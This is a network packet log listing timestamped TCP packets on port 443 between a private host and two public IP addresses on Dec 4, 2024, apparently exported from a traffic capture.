Dec 4, 2024 16:12:17.114636898 CET	49883	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:17.114655972 CET	443	49883	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:17.115035057 CET	49883	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:17.115039110 CET	443	49883	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:17.495563030 CET	443	49886	172.217.171.228	192.168.2.12
Dec 4, 2024 16:12:17.496052027 CET	49886	443	192.168.2.12	172.217.171.228
Dec 4, 2024 16:12:17.496068954 CET	443	49886	172.217.171.228	192.168.2.12
Dec 4, 2024 16:12:17.496422052 CET	443	49886	172.217.171.228	192.168.2.12
Dec 4, 2024 16:12:17.496747017 CET	49886	443	192.168.2.12	172.217.171.228
Dec 4, 2024 16:12:17.496813059 CET	443	49886	172.217.171.228	192.168.2.12
Dec 4, 2024 16:12:17.546387911 CET	49886	443	192.168.2.12	172.217.171.228
Dec 4, 2024 16:12:17.549339056 CET	443	49883	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:17.549407959 CET	443	49883	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:17.549457073 CET	49883	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:17.549649954 CET	49883	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:17.549670935 CET	443	49883	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:17.549685955 CET	49883	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:17.549691916 CET	443	49883	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:17.550100088 CET	443	49885	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:17.550172091 CET	443	49885	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:17.550220013 CET	49885	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:17.550342083 CET	49885	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:17.550359964 CET	443	49885	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:17.550369978 CET	49885	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:17.550375938 CET	443	49885	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:17.553138971 CET	49888	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:17.553179979 CET	443	49888	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:17.553246975 CET	49888	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:17.553441048 CET	49888	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:17.553452015 CET	443	49888	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:17.553981066 CET	49889	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:17.554024935 CET	443	49889	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:17.554089069 CET	49889	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:17.554510117 CET	49889	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:17.554523945 CET	443	49889	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:18.038129091 CET	443	49887	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:18.038888931 CET	49887	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:18.038922071 CET	443	49887	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:18.039350986 CET	49887	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:18.039356947 CET	443	49887	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:18.421540022 CET	443	49881	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:18.423363924 CET	49881	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:18.423391104 CET	443	49881	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:18.423861980 CET	49881	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:18.423868895 CET	443	49881	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:18.477770090 CET	443	49887	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:18.477840900 CET	443	49887	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:18.477925062 CET	49887	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:18.478229046 CET	49887	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:18.478229046 CET	49887	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:18.478249073 CET	443	49887	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:18.478264093 CET	443	49887	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:18.481733084 CET	49891	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:18.481777906 CET	443	49891	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:18.481870890 CET	49891	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:18.482018948 CET	49891	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:18.482032061 CET	443	49891	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:18.858103991 CET	443	49881	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:18.858191013 CET	443	49881	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:18.858259916 CET	49881	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:18.912067890 CET	49881	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:18.912095070 CET	443	49881	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:18.912107944 CET	49881	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:18.912115097 CET	443	49881	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:18.962165117 CET	49892	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:18.962205887 CET	443	49892	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:18.962260008 CET	49892	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:19.069468021 CET	49892	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:19.069484949 CET	443	49892	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:19.280004025 CET	443	49889	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:19.280515909 CET	49889	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:19.280545950 CET	443	49889	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:19.281112909 CET	49889	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:19.281117916 CET	443	49889	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:19.302777052 CET	443	49888	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:19.303225040 CET	49888	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:19.303261995 CET	443	49888	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:19.303767920 CET	49888	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:19.303783894 CET	443	49888	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:19.715209961 CET	443	49889	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:19.715282917 CET	443	49889	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:19.715393066 CET	49889	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:19.715641975 CET	49889	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:19.715662956 CET	443	49889	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:19.715673923 CET	49889	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:19.715679884 CET	443	49889	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:19.718317032 CET	49893	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:19.718349934 CET	443	49893	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:19.718836069 CET	49893	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:19.718836069 CET	49893	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:19.718859911 CET	443	49893	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:19.737293005 CET	443	49888	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:19.737364054 CET	443	49888	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:19.737431049 CET	49888	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:19.737653017 CET	49888	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:19.737653017 CET	49888	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:19.737679958 CET	443	49888	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:19.737694979 CET	443	49888	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:19.740220070 CET	49894	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:19.740253925 CET	443	49894	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:19.740324020 CET	49894	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:19.740464926 CET	49894	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:19.740474939 CET	443	49894	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:20.206125975 CET	443	49891	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:20.206636906 CET	49891	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:20.206660986 CET	443	49891	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:20.207118034 CET	49891	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:20.207123041 CET	443	49891	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:20.641103983 CET	443	49891	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:20.641179085 CET	443	49891	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:20.641228914 CET	49891	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:20.641395092 CET	49891	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:20.641412973 CET	443	49891	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:20.641423941 CET	49891	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:20.641431093 CET	443	49891	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:20.644324064 CET	49895	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:20.644370079 CET	443	49895	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:20.644453049 CET	49895	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:20.644664049 CET	49895	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:20.644680023 CET	443	49895	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:20.786565065 CET	443	49892	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:20.787180901 CET	49892	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:20.787198067 CET	443	49892	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:20.787657976 CET	49892	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:20.787663937 CET	443	49892	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:21.225178957 CET	443	49892	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:21.225239992 CET	443	49892	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:21.225383997 CET	49892	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:21.225485086 CET	49892	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:21.225501060 CET	443	49892	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:21.225524902 CET	49892	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:21.225529909 CET	443	49892	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:21.228883028 CET	49896	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:21.228924036 CET	443	49896	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:21.228993893 CET	49896	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:21.229132891 CET	49896	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:21.229140997 CET	443	49896	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:21.446223974 CET	443	49893	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:21.446822882 CET	49893	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:21.446844101 CET	443	49893	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:21.447479010 CET	49893	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:21.447484016 CET	443	49893	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:21.466531992 CET	443	49894	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:21.467035055 CET	49894	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:21.467072964 CET	443	49894	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:21.467474937 CET	49894	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:21.467480898 CET	443	49894	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:21.637851000 CET	443	49884	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:21.680126905 CET	49884	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:21.883682966 CET	443	49893	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:21.883780003 CET	443	49893	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:21.883840084 CET	49893	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:21.901949883 CET	443	49894	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:21.902013063 CET	443	49894	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:21.902060986 CET	49894	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.017611980 CET	49884	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.017622948 CET	443	49884	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.018219948 CET	49884	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.018223047 CET	443	49884	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.020056963 CET	49893	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.020083904 CET	443	49893	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.020096064 CET	49893	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.020103931 CET	443	49893	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.022310019 CET	49894	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.022332907 CET	443	49894	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.022346020 CET	49894	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.022351980 CET	443	49894	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.051523924 CET	49897	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.051567078 CET	443	49897	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.051628113 CET	49897	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.053174973 CET	49897	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.053186893 CET	443	49897	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.054316044 CET	49898	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.054404020 CET	443	49898	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.054496050 CET	49898	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.054666996 CET	49898	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.054703951 CET	443	49898	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.342344999 CET	443	49884	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.342411041 CET	443	49884	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.342475891 CET	49884	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.360403061 CET	443	49895	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.363523006 CET	49884	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.363540888 CET	443	49884	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.363550901 CET	49884	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.363557100 CET	443	49884	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.375838995 CET	49895	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.375868082 CET	443	49895	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.376328945 CET	49895	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.376334906 CET	443	49895	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.379568100 CET	49899	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.379592896 CET	443	49899	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.379648924 CET	49899	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.380942106 CET	49899	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.380951881 CET	443	49899	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.795466900 CET	443	49895	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.795552015 CET	443	49895	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.795681953 CET	49895	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.795877934 CET	49895	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.795900106 CET	443	49895	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.795912981 CET	49895	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.795917988 CET	443	49895	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.798432112 CET	49900	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.798477888 CET	443	49900	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.798955917 CET	49900	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.799088001 CET	49900	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.799099922 CET	443	49900	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.956708908 CET	443	49896	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.957251072 CET	49896	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.957283020 CET	443	49896	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:22.957734108 CET	49896	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:22.957741022 CET	443	49896	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:23.396027088 CET	443	49896	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:23.396106958 CET	443	49896	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:23.396358013 CET	49896	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:23.396523952 CET	49896	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:23.396523952 CET	49896	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:23.396543026 CET	443	49896	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:23.396552086 CET	443	49896	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:23.399146080 CET	49901	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:23.399177074 CET	443	49901	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:23.399272919 CET	49901	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:23.399437904 CET	49901	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:23.399457932 CET	443	49901	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:23.778917074 CET	443	49898	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:23.779572964 CET	49898	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:23.779633999 CET	443	49898	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:23.780118942 CET	49898	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:23.780133009 CET	443	49898	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:23.781936884 CET	443	49897	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:23.782250881 CET	49897	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:23.782279968 CET	443	49897	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:23.782643080 CET	49897	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:23.782649994 CET	443	49897	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.101521969 CET	443	49899	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.101969004 CET	49899	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.101994038 CET	443	49899	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.102451086 CET	49899	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.102454901 CET	443	49899	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.213346958 CET	443	49898	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.213426113 CET	443	49898	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.213506937 CET	49898	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.213707924 CET	49898	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.213736057 CET	443	49898	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.213747978 CET	49898	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.213752985 CET	443	49898	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.216967106 CET	443	49897	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.217015028 CET	49902	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.217042923 CET	443	49897	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.217061043 CET	443	49902	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.217108965 CET	49897	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.217142105 CET	49902	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.217257023 CET	49897	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.217273951 CET	443	49897	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.217286110 CET	49897	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.217288017 CET	49902	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.217291117 CET	443	49897	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.217299938 CET	443	49902	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.219369888 CET	49903	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.219434023 CET	443	49903	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.219507933 CET	49903	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.219639063 CET	49903	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.219655991 CET	443	49903	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.516310930 CET	443	49900	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.516856909 CET	49900	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.516876936 CET	443	49900	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.517369032 CET	49900	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.517374992 CET	443	49900	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.535897970 CET	443	49899	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.535969019 CET	443	49899	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.536043882 CET	49899	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.536349058 CET	49899	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.536365032 CET	443	49899	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.536401033 CET	49899	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.536406994 CET	443	49899	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.539416075 CET	49904	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.539441109 CET	443	49904	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.539534092 CET	49904	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.539701939 CET	49904	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.539712906 CET	443	49904	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.954902887 CET	443	49900	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.955001116 CET	443	49900	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.955092907 CET	49900	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.955209017 CET	49900	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.955209017 CET	49900	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.955238104 CET	443	49900	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.955249071 CET	443	49900	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.958416939 CET	49905	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.958462954 CET	443	49905	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:24.958524942 CET	49905	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.958825111 CET	49905	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:24.958838940 CET	443	49905	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:25.113771915 CET	443	49901	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:25.114305973 CET	49901	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:25.114348888 CET	443	49901	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:25.114778996 CET	49901	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:25.114784956 CET	443	49901	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:25.548604965 CET	443	49901	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:25.548698902 CET	443	49901	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:25.548765898 CET	49901	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:25.554452896 CET	49901	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:25.554476976 CET	443	49901	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:25.554487944 CET	49901	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:25.554495096 CET	443	49901	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:25.573431015 CET	49906	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:25.573493958 CET	443	49906	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:25.573746920 CET	49906	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:25.580364943 CET	49906	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:25.580380917 CET	443	49906	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:25.931082010 CET	443	49902	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:25.931555033 CET	49902	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:25.931574106 CET	443	49902	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:25.931976080 CET	49902	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:25.931981087 CET	443	49902	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:26.258126020 CET	443	49904	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:26.258657932 CET	49904	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:26.258687019 CET	443	49904	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:26.259183884 CET	49904	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:26.259190083 CET	443	49904	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:26.367863894 CET	443	49902	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:26.368094921 CET	443	49902	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:26.368149996 CET	49902	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:26.368259907 CET	49902	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:26.368282080 CET	443	49902	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:26.368292093 CET	49902	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:26.368297100 CET	443	49902	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:26.371083021 CET	49907	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:26.371123075 CET	443	49907	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:26.371191978 CET	49907	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:26.371336937 CET	49907	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:26.371354103 CET	443	49907	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:26.678694010 CET	443	49905	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:26.679430962 CET	49905	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:26.679465055 CET	443	49905	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:26.679985046 CET	49905	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:26.679990053 CET	443	49905	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:26.713850021 CET	443	49904	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:26.713931084 CET	443	49904	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:26.714023113 CET	49904	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:26.714226961 CET	49904	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:26.714246988 CET	443	49904	13.107.246.63	192.168.2.12
